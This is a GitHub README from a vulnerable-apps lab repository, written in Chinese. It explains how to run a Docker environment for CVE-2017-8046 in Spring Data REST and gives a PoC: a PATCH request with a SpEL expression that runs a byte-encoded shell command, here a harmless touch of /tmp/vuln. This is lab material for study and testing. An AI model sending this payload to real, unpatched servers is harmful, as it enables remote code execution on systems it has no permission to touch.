forked from Medicean/VulApps
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathREADME.md
More file actions
70 lines (45 loc) · 1.99 KB
/
README.md
File metadata and controls
70 lines (45 loc) · 1.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
## Spring Data REST PATCH请求代码执行漏洞(CVE-2017-8046)
### 漏洞信息
* [CVE-2017-8046: RCE in PATCH requests in Spring Data REST](https://pivotal.io/security/cve-2017-8046)
* [这个Spring高危漏洞,你修补了吗?-- 其河@美团点评技术团队](https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA)
### 获取环境:
1. 拉取镜像到本地
```
$ docker pull medicean/vulapps:s_spring_1
```
2. 启动环境
```
$ docker run -d -p 8080:8080 medicean/vulapps:s_spring_1
```
> `-p 8080:8080` 前面的 8080 代表物理机的端口,可随意指定。
### 使用与利用
访问 `http://你的 IP 地址:端口号/`, 假设启动的端口号为 8080
#### PoC
1. 访问 `http://127.0.0.1:8080/`,测试服务是否启动成功

2. 利用 POST 请求添加一个数据
```
POST /persons HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Cache-Control: no-cache
{"firstName": "VulApps", "lastName": "VulApps"}
```

3. 执行 PoC
执行命令为: `/usr/bin/touch /tmp/vuln`,注意 Content-Type 值为 `application/json-patch+json`
```
PATCH /persons/1 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json-patch+json
Cache-Control: no-cache
Content-Length: 228
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,116,111,117,99,104,32,47,116,109,112,47,118,117,108,110}))/lastName", "value": "vulapps-demo" }]
```

4. 进入容器,发现成功创建文件

### 参考链接
* [这个Spring高危漏洞,你修补了吗?-- 其河@美团点评技术团队](https://mp.weixin.qq.com/s/uTiWDsPKEjTkN6z9QNLtSA)
### 改动日志
* 2017/09/29 删除原 jar 包中 mongodb 依赖